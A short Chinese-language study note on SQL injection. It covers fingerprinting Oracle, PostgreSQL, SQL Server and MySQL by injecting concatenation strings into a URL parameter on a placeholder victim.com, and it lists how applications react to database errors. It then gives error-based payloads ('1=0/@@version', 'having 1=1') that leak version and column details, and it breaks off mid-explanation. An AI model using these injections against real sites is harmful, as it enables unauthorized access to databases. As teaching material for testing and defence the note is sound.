1、不同数据库的简单识别方法:
(1)oracle和postgresql数据库,向web服务器发送如下请求:
http://www.victim.com/showproducts.php?category=bikes(原始) 测试:bi ' || ' kes
(2)microsoft sql server数据库,向web服务器发送如下请求:
http://www.victim.com/showproducts.php?category=bikes(原始) 测试:bi ' + ' kes
(3)mysql数据库,向web服务器发送如下请求:
http://www.victim.com/showproducts.php?category=bikes(原始) 测试:bi ' ' kes
2、用户请求触发数据库错误时,web构造返回的场景:
(1)将SQL错误显示在页面上,它对web浏览器用户可见。
(2)将SQL错误隐藏在web页面的源代码中以便于调试。
(3)检测到错误时跳转到另一个页面。
(4)返回HTTP错误代码500(内部服务器错误)或HTTP重定向代码302.
(5)应用适当地处理但不显示结果,可能会显示一个通用的错误页面。
3、使用一些技术来检索嵌入在数据库返回错误中的信息,第一种是通过将字符串转换到整数来产生错误。
例如:index.php?id=1 and 1=0/@@version(或者0/user);-- 产生错误syntax error converting the nvarchar value 'microsoft sql server 2000-8.00.760....' to a column of data type int.
第二种 having 1=1技术(原理:group by要求select语句选择的字段是某个聚合函数的结果或者包含在group by字句中。如果该条件不满足,那么数据库会返回一个错误,显示出现该问题的第一列。
index.php?id=bike' having '1'='1 产生错误columns 'products.productid' is invalid in the select list because it is not contained in an aggregate function and there is no group by clause.
可以使用该技术和group by 来枚举select语句中所有的列: